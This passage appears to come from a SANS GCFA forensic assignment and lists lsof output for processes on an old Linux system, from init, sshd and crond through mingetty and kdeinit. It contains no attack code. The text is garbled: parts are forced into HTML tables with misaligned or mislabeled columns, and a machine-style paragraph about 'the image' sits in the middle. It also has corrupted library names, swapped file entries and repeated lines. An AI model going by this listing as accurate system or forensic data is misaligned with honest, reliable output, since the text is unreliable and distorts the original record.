<td>init</td>
<td>1</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5 89547</td>
<td>63490</td>
<td>/lib/ld-2.2.5.so</td>
<td></td>
</tr>
<tr>
<td>init</td>
<td>1</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5 1401027</td>
<td>73730</td>
<td>/lib/i686/libc-2.2.5.so</td>
<td></td>
</tr>
<tr>
<td>init</td>
<td>1</td>
<td>root</td>
<td>10u</td>
<td>FIFO</td>
<td>3,5 15606</td>
<td>2</td>
<td>/dev/initctl</td>
<td></td>
</tr>
<tr>
<td>keventd</td>
<td>2</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>2</td>
<td>/dev/initctl</td>
</tr>
<tr>
<td>keventd</td>
<td>2</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>2</td>
<td>/dev/initctl</td>
</tr>
<tr>
<td>kswapd</td>
<td>5</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>2</td>
<td>/dev/initctl</td>
</tr>
<tr>
<td>kswapd</td>
<td>5</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>2</td>
<td>/dev/initctl</td>
</tr>
<tr>
<td>bdflush</td>
<td>6</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>2</td>
<td>/dev/initctl</td>
</tr>
<tr>
<td>bdflush</td>
<td>6</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>2</td>
<td>/dev/initctl</td>
</tr>
<tr>
<td>bdflush</td>
<td>6</td>
<td>root</td>
<td>10u</td>
<td>FIFO</td>
<td>3,5 15606</td>
<td>2</td>
<td>/dev/initctl</td>
<td></td>
</tr>
</tbody>
</table>
kupdated 7 root cwd DIR 3,5 1024 2 /
kupdated 7 root rtd DIR 3,5 1024 2 /
mrecover 8 root cwd DIR 3,5 1024 2 /
mrecover 8 root rtd DIR 3,5 1024 2 /
mrecover 8 root 10u FIFO 3,5 15606 /dev/initctl
kjournald 12 root cwd DIR 3,5 1024 2 /
kjournald 12 root rtd DIR 3,5 1024 2 /
kjournald 12 root 10u FIFO 3,5 15606 /dev/initctl
khdb 91 root cwd DIR 3,5 1024 2 /
khdb 91 root rtd DIR 3,5 1024 2 /
khdb 91 root 10u FIFO 3,5 15606 /dev/initctl
kjournald 186 root cwd DIR 3,5 1024 2 /
kjournald 186 root rtd DIR 3,5 1024 2 /
kjournald 186 root 10u FIFO 3,5 15606 /dev/initctl
kjournald 187 root cwd DIR 3,5 1024 2 /
kjournald 187 root rtd DIR 3,5 1024 2 /
kjournald 187 root 10u FIFO 3,5 15606 /dev/initctl
kjournald 188 root cwd DIR 3,5 1024 2 /
kjournald 188 root rtd DIR 3,5 1024 2 /
kjournald 188 root 10u FIFO 3,5 15606 /dev/initctl
kjournald 189 root cwd DIR 3,5 1024 2 /
kjournald 189 root rtd DIR 3,5 1024 2 /
kjournald 189 root 10u FIFO 3,5 15606 /dev/initctl
rpc.statd 657 root cwd DIR 3,6 1024 20084 /var/lib/nfs/statd
rpc.statd 657 root rtd DIR 3,5 1024 2 /
rpc.statd 657 root txt REG 3,5 28040 71832 /sbin/rpc.statd
rpc.statd 657 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
rpc.statd 657 root mem REG 3,5 46115 63532 /lib/libnss_nisplus-2.2.5.so
rpc.statd 657 root mem REG 3,5 45415 63523 /lib/libnss_files-2.2.5.so
rpc.statd 657 root mem REG 3,5 1401027 73730 /lib/i686/libcrypto.so.0.9.6b
rpc.statd 657 root 0u CHR 1,3 9637 /dev/null
rpc.statd 657 root 1u CHR 1,3 9637 /dev/null
rpc.statd 657 root 2u CHR 1,3 9637 /dev/null
rpc.statd 657 root 3u unix 0xc7745040 1124 socket
rpc.statd 657 root 4u IPv4 1163 UDP *:1024
rpc.statd 657 root 5u sock 0,0 1142 can't identify protocol
rpc.statd 657 root 6u IPv4 1166 TCP *:1024 (LISTEN)
apmd 770 root cwd DIR 3,5 1024 2 /
apmd 770 root rtd DIR 3,5 1024 2 /
apmd 770 root txt REG 3,2 16488 130672 /usr/sbin/apmd
napmd 770 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
napmd 770 root mem REG 3,5 39215 63574 /lib/libcap.so.1.10
napmd 770 root mem REG 3,5 1401027 73730 /lib/i686/libcrypto.so.0.9.6b
napmd 770 root 0u CHR 10,134 8236 /dev/apm_bios
napmd 770 root 1u unix 0xc7745540 1264 socket
ntpd 790 root cwd DIR 3,5 1024 2 /
ntpd 790 root rtd DIR 3,5 1024 2 /
ntpd 790 root txt REG 3,2 250824 130727 /sbin/ntpd
ntpd 790 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
ntpd 790 root mem REG 3,5 173359 73732 /lib/i686/libm-2.2.5.so
ntpd 790 root mem REG 3,5 45415 63523 /lib/libnss_files-2.2.5.so
ntpd 790 root mem REG 3,5 1401027 73730 /lib/i686/libcrypto.so.0.9.6b
ntpd 790 root 0u CHR 1,3 9637 /dev/null
ntpd 790 root 1u CHR 1,3 9637 /dev/null
ntpd 790 root 2u CHR 1,3 9637 /dev/null
ntpd 790 root 3u unix 0xc630a060 1505 socket
ntpd 790 root 4u IPv4 1496 UDP *:ntpd
ntpd 790 root 5u IPv4 1497 UDP rhl:ntpd
ntpd 790 root 6u IPv4 1498 UDP 192.168.2.15:ntpd
sshd 842 root cwd DIR 3,5 1024 2 /
sshd 842 root rtd DIR 3,5 1024 2 /
sshd 842 root txt REG 3,2 260616 131777 /usr/sbin/sshd
sshd 842 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
sshd 842 root mem REG 3,5 35340 63567 /lib/libpm.so.0.75
sshd 842 root mem REG 3,5 12102 63503 /lib/libdl-2.2.5.so
sshd 842 root mem REG 3,5 11174 63541 /lib/libutili-2.2.5.so
sshd 842 root mem REG 3,2 59778 63538 /usr/lib/libz.so.1.1.3
sshd 842 root mem REG 3,5 89424 63507 /lib/libnss-2.2.5.so
sshd 842 root mem REG 3,5 924879 63562 /lib/libcrypto.so.0.9.6b
sshd 842 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
sshd 842 root 0u CHR 1,3 9637 /dev/null
sshd 842 root 1u CHR 1,3 9637 /dev/null
sshd 842 root 2u IPv4 1508 TCP *:ssh (LISTEN)
xinetd 875 root cwd DIR 3,5 1024 2 /
xinetd 875 root rtd DIR 3,5 1024 2 /
xinetd 875 root txt DIR 3,2 1548 pipe
xinetd 875 root 0w FIFO 0,5 1546 pipe
xinetd 875 root 1w FIFO 0,5 1546 pipe
xinetd 875 root 2w FIFO 0,5 1546 pipe
sendmail 916 root cwd DIR 3,6 1024 34139 /var/spool/mqueue
sendmail 916 root rtd DIR 3,5 1024 2 /
sendmail 916 root txt DIR 3,2 130657 /usr/sbin/sendmail.sendmail
sendmail 916 root mem REG 3,5 89424 63507 /lib/libnsl-2.2.5.so
sendmail 916 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
sendmail 916 root 0r CHR 1,3 9637 /dev/null
sendmail 916 root 1r CHR 1,3 9637 /dev/null
sendmail 916 root 2r CHR 1,3 9637 /dev/null
sendmail 916 root 3r FIFO 0,5 1546 pipe
sendmail 916 root 4w FIFO 0,5 1546 pipe
sendmail 916 root 8u unix 0xc7ce65a0 1548 socket
gpm 935 root txt DIR 3,2 1621 socket
sendmail 916 root 0r CHR 1,3 9637 /dev/null
gpm 935 root cwd DIR 3,5 1024 2 /
sendmail 916 root 1w CHR 1,3 9637 /dev/null
sendmail 916 root 2w CHR 1,3 9637 /dev/null
sendmail 916 root 3u unix Dsck7ce565a0 1621 socket
gpm 935 root 0u IPv4 1622 TCP rhl:smtp (LISTEN)
gpm 935 root cwd DIR 3,5 1024 2 /
gpm 935 root rtd DIR 3,5 1024 2 /
gpm 935 root txt DIR 3,2 77303 130634 /var/spool/gpm
gpm 935 root mem REG 3,5 35340 65357 /lib/libpam.so.0.75
gpm 935 root mem REG 3,5 45415 65357 /lib/libnss_files-2.2.5.so
gpm 935 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
gpm 935 root 0w CHR 5,1 8271 /dev/console
gpm 935 root 1u REG 3,6 4 38175 /var/run/gpmQOrm7H (deleted)
gpm 935 root 3u unix Dsck630a60 1638 /dev/gpmctl
crond 953 root cwd DIR 3,5 1024 40161/var/spool
crond 953 root rtd DIR 3,5 1024 2 /
crond 953 root txt DIR 3,2 23048 130682 /usr/sbin/crond
crond 953 root mem REG 3,5 35340 65357 /lib/libpam.so.0.75
crond 953 root mem REG 3,5 45415 65357 /lib/libnss_files-2.2.5.so
crond 953 root mem REG 3,5 46117 65357 /lib/libnss_nisplus-2.2.5.so
crond 953 root mem REG 3,5 89424 65357 /lib/libnsl-2.2.5.so
crond 953 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
crond 953 root 0u CHR 5,1 8271 /dev/console
<table>
<thead>
<tr>
<th>Service</th>
<th>User</th>
<th>Type</th>
<th>Mode</th>
<th>Filesystem</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>crond</td>
<td>root</td>
<td>1w</td>
<td>FIFO</td>
<td>0,5</td>
<td>1657 pipe</td>
</tr>
<tr>
<td>crond</td>
<td>root</td>
<td>2w</td>
<td>FIFO</td>
<td>0,5</td>
<td>1658 pipe</td>
</tr>
<tr>
<td>crond</td>
<td>root</td>
<td>3u</td>
<td>REG</td>
<td>3,6</td>
<td>4 38176 /var/run/crond.pid</td>
</tr>
<tr>
<td>xfs</td>
<td>1005</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024 2 /</td>
</tr>
<tr>
<td>xfs</td>
<td>1005</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024 2 /</td>
</tr>
<tr>
<td>xfs</td>
<td>1005</td>
<td>txt</td>
<td>REG</td>
<td>3,2</td>
<td>72664 119452 /usr/X11R6/bin/xfs</td>
</tr>
<tr>
<td>xfs</td>
<td>1005</td>
<td>mem</td>
<td>REG</td>
<td>3,6</td>
<td>4 38117 /tmp/font-unix/fs7100</td>
</tr>
<tr>
<td>xfs</td>
<td>1005</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>1401027 73730 /lib/i686/libc-2.2.5.so</td>
</tr>
<tr>
<td>xfs</td>
<td>1005</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>1401027 73730 /lib/i686/libc-2.2.5.so</td>
</tr>
<tr>
<td>xfs</td>
<td>1005</td>
<td>0u</td>
<td>CHR</td>
<td>1,3</td>
<td>9637 /dev/null</td>
</tr>
<tr>
<td>xfs</td>
<td>1005</td>
<td>1u</td>
<td>CHR</td>
<td>1,3</td>
<td>9637 /dev/null</td>
</tr>
<tr>
<td>xfs</td>
<td>1005</td>
<td>2u</td>
<td>CHR</td>
<td>1,3</td>
<td>9637 /dev/null</td>
</tr>
<tr>
<td>xfs</td>
<td>1005</td>
<td>3u</td>
<td>REG</td>
<td>3,6</td>
<td>6 38177 /tmp/font-unix/fs7100</td>
</tr>
<tr>
<td>xfs</td>
<td>1005</td>
<td>4u</td>
<td>unix</td>
<td>0xc6b8b5c0 1704 /tmp/.font-unix/fs7100</td>
<td></td>
</tr>
<tr>
<td>atd</td>
<td>1041</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024 2 /</td>
</tr>
<tr>
<td>atd</td>
<td>1041</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024 2 /</td>
</tr>
<tr>
<td>atd</td>
<td>1041</td>
<td>txt</td>
<td>REG</td>
<td>3,2</td>
<td>14776 130516 /usr/sbin/atd</td>
</tr>
<tr>
<td>atd</td>
<td>1041</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>89547 63490 /lib/ld-2.2.5.so</td>
</tr>
<tr>
<td>atd</td>
<td>1041</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>45415 63523 /lib/libnss_files-2.2.5.so</td>
</tr>
<tr>
<td>atd</td>
<td>1041</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>1401027 73730 /lib/i686/libc-2.2.5.so</td>
</tr>
<tr>
<td>atd</td>
<td>1041</td>
<td>0u</td>
<td>CHR</td>
<td>1,3</td>
<td>9637 /dev/null</td>
</tr>
<tr>
<td>atd</td>
<td>1041</td>
<td>1u</td>
<td>CHR</td>
<td>1,3</td>
<td>9637 /dev/null</td>
</tr>
<tr>
<td>atd</td>
<td>1041</td>
<td>2u</td>
<td>CHR</td>
<td>1,3</td>
<td>9637 /dev/null</td>
</tr>
<tr>
<td>atd</td>
<td>1041</td>
<td>3u</td>
<td>REG</td>
<td>3,6</td>
<td>5 38177 /var/run/atd.pid</td>
</tr>
<tr>
<td>mingetty</td>
<td>1050</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024 2 /</td>
</tr>
<tr>
<td>mingetty</td>
<td>1050</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024 2 /</td>
</tr>
<tr>
<td>mingetty</td>
<td>1050</td>
<td>txt</td>
<td>REG</td>
<td>3,5</td>
<td>14136 71701 /sbin/mingetty</td>
</tr>
<tr>
<td>mingetty</td>
<td>1050</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>89547 63490 /lib/ld-2.2.5.so</td>
</tr>
<tr>
<td>mingetty</td>
<td>1050</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>45415 63523 /lib/libnss_files-2.2.5.so</td>
</tr>
<tr>
<td>mingetty</td>
<td>1050</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>1401027 73730 /lib/i686/libc-2.2.5.so</td>
</tr>
<tr>
<td>mingetty</td>
<td>1050</td>
<td>0u</td>
<td>CHR</td>
<td>1,3</td>
<td>9637 /dev/tty1</td>
</tr>
<tr>
<td>mingetty</td>
<td>1050</td>
<td>1u</td>
<td>CHR</td>
<td>1,3</td>
<td>9637 /dev/tty1</td>
</tr>
<tr>
<td>mingetty</td>
<td>1050</td>
<td>2u</td>
<td>CHR</td>
<td>1,3</td>
<td>9637 /dev/tty1</td>
</tr>
<tr>
<td>mingetty</td>
<td>1050</td>
<td>3u</td>
<td>REG</td>
<td>3,5</td>
<td>89547 63490 /lib/ld-2.2.5.so</td>
</tr>
<tr>
<td>mingetty</td>
<td>1050</td>
<td>4u</td>
<td>unix</td>
<td>0xc6b8b5c0 1704 /tmp/.font-unix/fs7100</td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>1051</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024 2 /</td>
</tr>
<tr>
<td>mingetty</td>
<td>1051</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024 2 /</td>
</tr>
<tr>
<td>mingetty</td>
<td>1051</td>
<td>txt</td>
<td>REG</td>
<td>3,5</td>
<td>14136 71701 /sbin/mingetty</td>
</tr>
<tr>
<td>mingetty</td>
<td>1051</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>89547 63490 /lib/ld-2.2.5.so</td>
</tr>
<tr>
<td>mingetty</td>
<td>1051</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>45415 63523 /lib/libnss_files-2.2.5.so</td>
</tr>
<tr>
<td>mingetty</td>
<td>1051</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>1401027 73730 /lib/i686/libc-2.2.5.so</td>
</tr>
<tr>
<td>mingetty</td>
<td>1051</td>
<td>0u</td>
<td>CHR</td>
<td>1,3</td>
<td>9637 /dev/tty1</td>
</tr>
<tr>
<td>mingetty</td>
<td>1051</td>
<td>1u</td>
<td>CHR</td>
<td>1,3</td>
<td>9637 /dev/tty1</td>
</tr>
<tr>
<td>mingetty</td>
<td>1051</td>
<td>2u</td>
<td>CHR</td>
<td>1,3</td>
<td>9637 /dev/tty1</td>
</tr>
<tr>
<td>mingetty</td>
<td>1051</td>
<td>3u</td>
<td>REG</td>
<td>3,5</td>
<td>89547 63490 /lib/ld-2.2.5.so</td>
</tr>
<tr>
<td>mingetty</td>
<td>1052</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024 2 /</td>
</tr>
<tr>
<td>mingetty</td>
<td>1052</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024 2 /</td>
</tr>
<tr>
<td>mingetty</td>
<td>1052</td>
<td>txt</td>
<td>REG</td>
<td>3,5</td>
<td>14136 71701 /sbin/mingetty</td>
</tr>
<tr>
<td>mingetty</td>
<td>1052</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>89547 63490 /lib/ld-2.2.5.so</td>
</tr>
<tr>
<td>mingetty</td>
<td>1052</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>1401027 73730 /lib/i686/libc-2.2.5.so</td>
</tr>
<tr>
<td>mingetty</td>
<td>1052</td>
<td>0u</td>
<td>CHR</td>
<td>1,3</td>
<td>9637 /dev/tty1</td>
</tr>
<tr>
<td>mingetty</td>
<td>1052</td>
<td>1u</td>
<td>CHR</td>
<td>1,3</td>
<td>9637 /dev/tty1</td>
</tr>
<tr>
<td>mingetty</td>
<td>1052</td>
<td>2u</td>
<td>CHR</td>
<td>1,3</td>
<td>9637 /dev/tty1</td>
</tr>
<tr>
<td>mingetty</td>
<td>1053</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024 2 /</td>
</tr>
<tr>
<td>mingetty</td>
<td>1053</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024 2 /</td>
</tr>
<tr>
<td>mingetty</td>
<td>1053</td>
<td>txt</td>
<td>REG</td>
<td>3,5</td>
<td>14136 71701 /sbin/mingetty</td>
</tr>
<tr>
<td>mingetty</td>
<td>1053</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>89547 63490 /lib/ld-2.2.5.so</td>
</tr>
<tr>
<td>mingetty</td>
<td>1053</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>1401027 73730 /lib/i686/libc-2.2.5.so</td>
</tr>
<tr>
<td>mingetty</td>
<td>1053</td>
<td>0u</td>
<td>CHR</td>
<td>1,3</td>
<td>9637 /dev/tty1</td>
</tr>
<tr>
<td>mingetty</td>
<td>1053</td>
<td>1u</td>
<td>CHR</td>
<td>1,3</td>
<td>9637 /dev/tty1</td>
</tr>
<tr>
<td>mingetty</td>
<td>1053</td>
<td>2u</td>
<td>CHR</td>
<td>1,3</td>
<td>9637 /dev/tty1</td>
</tr>
<tr>
<td>mingetty</td>
<td>1054</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024 2 /</td>
</tr>
<tr>
<td>mingetty</td>
<td>1054</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024 2 /</td>
</tr>
<tr>
<td>mingetty</td>
<td>1054</td>
<td>txt</td>
<td>REG</td>
<td>3,5</td>
<td>14136 71701 /sbin/mingetty</td>
</tr>
<tr>
<td>mingetty</td>
<td>1054</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>89547 63490 /lib/ld-2.2.5.so</td>
</tr>
<tr>
<td>mingetty</td>
<td>1054</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>1401027 73730 /lib/i686/libc-2.2.5.so</td>
</tr>
<tr>
<td>mingetty</td>
<td>1054</td>
<td>0u</td>
<td>CHR</td>
<td>1,3</td>
<td>9637 /dev/tty1</td>
</tr>
<tr>
<td>mingetty</td>
<td>1054</td>
<td>1u</td>
<td>CHR</td>
<td>1,3</td>
<td>9637 /dev/tty1</td>
</tr>
<tr>
<td>mingetty</td>
<td>1054</td>
<td>2u</td>
<td>CHR</td>
<td>1,3</td>
<td>9637 /dev/tty1</td>
</tr>
</tbody>
</table>
Kevin Miller - Sans GCFA Assignment – v1.4

<table>
<thead>
<tr>
<th>Command</th>
<th>User</th>
<th>PID</th>
<th>Type</th>
<th>Priority</th>
<th>Realtime</th>
<th>RSS</th>
<th>Pseudoterminals</th>
<th>Working Directory</th>
<th>Parent PID</th>
</tr>
</thead>
<tbody>
<tr>
<td>mingetty</td>
<td>root</td>
<td>1054</td>
<td>CHR</td>
<td>4,5</td>
<td>14440</td>
<td>/dev/tty5</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>root</td>
<td>1055</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>2</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>mingetty</td>
<td>root</td>
<td>1056</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>2</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**Key fingerprint:** AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

© SANS Institute 2004, Author retains full rights.

As part of GIAC practical repository. Author retains full rights.
Kevin Miller - Sans GCFA Assignment – v1.4
Page 115

The image contains a list of directories and files, with associated permissions and sizes. The output is not natural text and does not contain any meaningful content. It appears to be a list of system files and directories, possibly from a Linux system, showing file permissions, sizes, and locations.

The text snippet includes commands and file paths, such as:
- `/usr/lib/locale/en_US.iso885915/LC_CTYPE`:
- `/usr/lib/locale/en_US.iso885915/LC_CTYPE`
- `/usr/lib/locale/en_US.iso885915/LC_COLLATE`
- `/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION`
- `/usr/lib/locale/en_US.iso885915/LC_MESSAGED/SYS_LC_MESSAGES`
- `/usr/lib/locale/en_US.iso885915/LC_MONETARY`
- `/usr/lib/locale/en_US.iso885915/LC_NUMERIC`

Each line shows a file or directory with its permissions, size, and path. For example:
- `kdeinit 1178 userid1 mem REG 3,2 59778 65358 /usr/lib/libbz.so.1.1.3`
- `kdeinit 1178 userid1 mem REG 3,2 874476 16985 /usr/X11R6/lib/libX11.so.6.2`
- `kdeinit 1178 userid1 mem REG 3,2 31520 16983 /usr/X11R6/lib/libSM.so.6.0`
- `kdeinit 1178 userid1 mem REG 3,2 81980 16979 /usr/X11R6/lib/libICE.so.6.3`
- `kdeinit 1178 userid1 mem REG 3,2 19101 73734 /lib/ld64/libpthread-0.3.so`
- `kdeinit 1178 userid1 mem REG 3,2 12102 6503 /lib/libdl-2.2.5.so`
- `kdeinit 1178 userid1 mem REG 3,2 52300 16993 /usr/X11R6/lib/libXext.so.6.4`
- `kdeinit 1178 userid1 mem REG 3,2 68925 65355 /lib/libresolv-2.2.5.so`
- `kdeinit 1178 userid1 mem REG 3,2 426442 65304 /usr/lib/libstdc++-4.3-1libc6.2-2-2.10.0.so`
- `kdeinit 1178 userid1 mem REG 3,2 11174 63541 /lib/libutil-2.2.5.so`
- `kdeinit 1178 userid1 mem REG 3,2 173359 73732 /lib/libXm-2.2.5.so`
- `kdeinit 1178 userid1 mem REG 3,2 110194 65399 /usr/lib/libgpr.so.2`
- `kdeinit 1178 userid1 mem REG 3,2 290306 65392 /lib/libpng.so.1.0.0`
- `kdeinit 1178 userid1 mem REG 3,2 140418 6389 /usr/lib/libjpeg.so.62.0.0`
- `kdeinit 1178 userid1 mem REG 3,2 90976 16997 /usr/lib/libXft.so.6.3.1`
- `kdeinit 1178 userid1 mem REG 3,2 295833 65382 /lib/libfreetype.so.6.3.0`
- `kdeinit 1178 userid1 mem REG 3,2 22592 130324 /usr/lib/locale/en_US.iso885915/LC_COLLATE`
- `kdeinit 1178 userid1 mem REG 3,2 173660 130324 /usr/lib/locale/en_US.iso885915/LC_CTYPE`
- `kdeinit 1178 userid1 mem REG 3,5 1401027 73730 /lib/libiconv.so.2`

The list also includes fingerprint keys and some other system paths, such as:
- `Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46`

This is a typical output of a system utility that lists system files and directories, possibly for debugging or system monitoring purposes.
kdeinit 1203 userid1 mem REG 3,5 924879 63562 /lib/libcrypto.so.0.9.6b
kdeinit 1203 userid1 mem REG 3,2 575687 65982 /usr/lib/libkong-gcc2.96.so.0.4.0.0
kdeinit 1203 userid1 mem REG 3,2 381888 65598 /usr/lib/libsoundserver_idl-
gcc2.96.so.1.0.0
kdeinit 1203 userid1 mem REG 3,2 35784 65574 /usr/lib/libqtmcop-
gcc2.96.so.1.0.0
kdeinit 1203 userid1 mem REG 3,2 282587 65574 /usr/lib/libkmedia2_idl-
gcc2.96.so.1.0.0
kdeinit 1203 userid1 mem REG 3,2 1048932 65545 /usr/lib/libartsflow-
gcc2.96.so.1.0.0
kdeinit 1203 userid1 mem REG 3,2 563716 65551 /usr/lib/libartsflow_idl-
gcc2.96.so.1.0.0
kdeinit 1203 userid1 mem REG 3,2 160333 65367 /usr/lib/libaudiofile.so.0.0.2
kdeinit 1203 userid1 mem REG 3,2 1007546 65580 /usr/lib/libmcop-
gcc2.96.so.1.0.0
kdeinit 1203 userid1 mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-
modes.cache
kdeinit 1203 userid1 mem REG 3,2 65 130316 /usr/lib/locale/en_US.iso885915/LC_TELEPHONE
kdeinit 1203 userid1 mem REG 3,2 161 130310 /usr/lib/locale/en_US.iso885915/LC_ADDRESS
kdeinit 1203 userid1 mem REG 3,2 40 130315 /usr/lib/locale/en_US.iso885915/LC_PAPER
kdeinit 1203 userid1 mem REG 3,2 58 179360 /usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES
kdeinit 1203 userid1 mem REG 3,2 22592 130323 /usr/lib/locale/en_US.iso885915/LC_COLLATE
kdeinit 1203 userid1 mem REG 3,2 60 130322 /usr/lib/locale/en_US.iso885915/LC_NUMERIC
kdeinit 1203 userid1 mem REG 3,2 173680 130324 /usr/lib/locale/en_US.iso885915/LC_CTYPE
kdeinit 1203 userid1 mem REG 3,2 9637 /dev/null
kdeinit 1203 userid1 mem REG 3,2 1453 /home/userid1/.xsession-
errors
kdeinit 1203 userid1 mem REG 3,2 1453 /home/userid1/.xsession-
errors
kdeinit 1203 userid1 mem REG 3,2 1453 /home/userid1/.xsession-
errors
kdeinit 1203 userid1 mem REG 3,2 1453 /home/userid1/.xsession-
errors
kdeinit 1203 userid1 mem REG 3,2 1453 /home/userid1/.xsession-
errors
kdeinit 1203 userid1 mem REG 3,2 1453 /home/userid1/.xsession-
errors
kdeinit 1203 userid1 mem REG 3,2 1453 /home/userid1/.xsession-
errors
kdeinit 1203 userid1 mem REG 3,2 1453 /home/userid1/.xsession-
errors
kwrapper 1208 userid1 cwd DIR 3,3 4096 32321 /home/userid1
kwrapper 1208 userid1 txt REG 3,5 1024 2 /
kwrapper 1208 userid1 txt REG 3,2 9088 33376 /usr/bin/kwrapper
kwrapper 1208 userid1 mem REG 3,5 89547 63490 /lib/id-2.2.5.so
kwrapper 1208 userid1 mem REG 3,5 69825 63535 /lib/libresolv-2.2.5.so
kwrapper 1208 userid1 mem REG 3,5 1401027 73730 /lib/lib Influ-2.2.5.so
kwrapper 1208 userid1 0r CHR 1,3 9637 /dev/null
kwrapper 1208 userid1 1w REG 3,3 1453 32328 /home/userid1/.xsession-errors
kwrapper 1208 userid1 2w REG 3,3 1453 32328 /home/userid1/.xsession-errors
kwrapper 1208 userid1 3u unix 0xc2c57560 2252 socke
kwrapper 1208 userid1 5r FIFO 0,5 2259 pipe
kwrapper 1208 userid1 6w FIFO 0,5 2259 pipe
kwrapper 1208 userid1 7r FIFO 0,5 2260 pipe
kwrapper 1208 userid1 8w FIFO 0,5 2260 pipe
kwrapper 1208 userid1 9r FIFO 0,5 2262 pipe
kwrapper 1208 userid1 10w FIFO 0,5 2262 pipe
kwrapper 1208 userid1 11r FIFO 0,5 2265 pipe
kwrapper 1208 userid1 12w FIFO 0,5 2265 pipe
kwrapper 1208 userid1 13u unix 0xc22ld5e0 2310 socket
kwrapper 1208 userid1 1w REG 3,3 1453 32328 /home/userid1/.xsession-errors
kwrapper 1208 userid1 2w REG 3,3 1453 32328 /home/userid1/.xsession-errors
kwrapper 1208 userid1 3u unix 0xc22c57060 2266 socket
kwrapper 1208 userid1 4u unix 0xc2c57560 2252 socket
kwrapper 1208 userid1 5r FIFO 0,5 2259 pipe
kwrapper 1208 userid1 6w FIFO 0,5 2259 pipe
kwrapper 1208 userid1 7r FIFO 0,5 2260 pipe
kwrapper 1208 userid1 8w FIFO 0,5 2260 pipe
kwrapper 1208 userid1 9r FIFO 0,5 2262 pipe
kwrapper 1208 userid1 10w FIFO 0,5 2262 pipe
kwrapper 1208 userid1 11r FIFO 0,5 2265 pipe
kwrapper 1208 userid1 12w FIFO 0,5 2265 pipe
kwrapper 1208 userid1 13u unix 0xc22ld5e0 2310 socket
kwrapper 1208 userid1 1w REG 3,3 1453 32328 /home/userid1/.xsession-errors
kwrapper 1208 userid1 2w REG 3,3 1453 32328 /home/userid1/.xsession-errors
kwrapper 1208 userid1 3u unix 0xc2c57060 2266 socket
kdeinit 1210 userid1 cwd DIR 3,3 4096 32321 /home/userid1
kdeinit 1210 userid1 txt REG 3,5 1024 2 /
kdeinit 1210 userid1 txt REG 3,2 9088 33376 /usr/bin/kdeinit
kdeinit 1210 userid1 mem REG 3,5 89547 63490 /lib/id-2.2.5.so
kdeinit 1210 userid1 mem REG 3,5 89547 63490 /lib/id-2.2.5.so
kdeinit 1210 userid1 mem REG 3,2 2457 130317 /usr/lib/locale/en_US.iso885915/LC_TIME
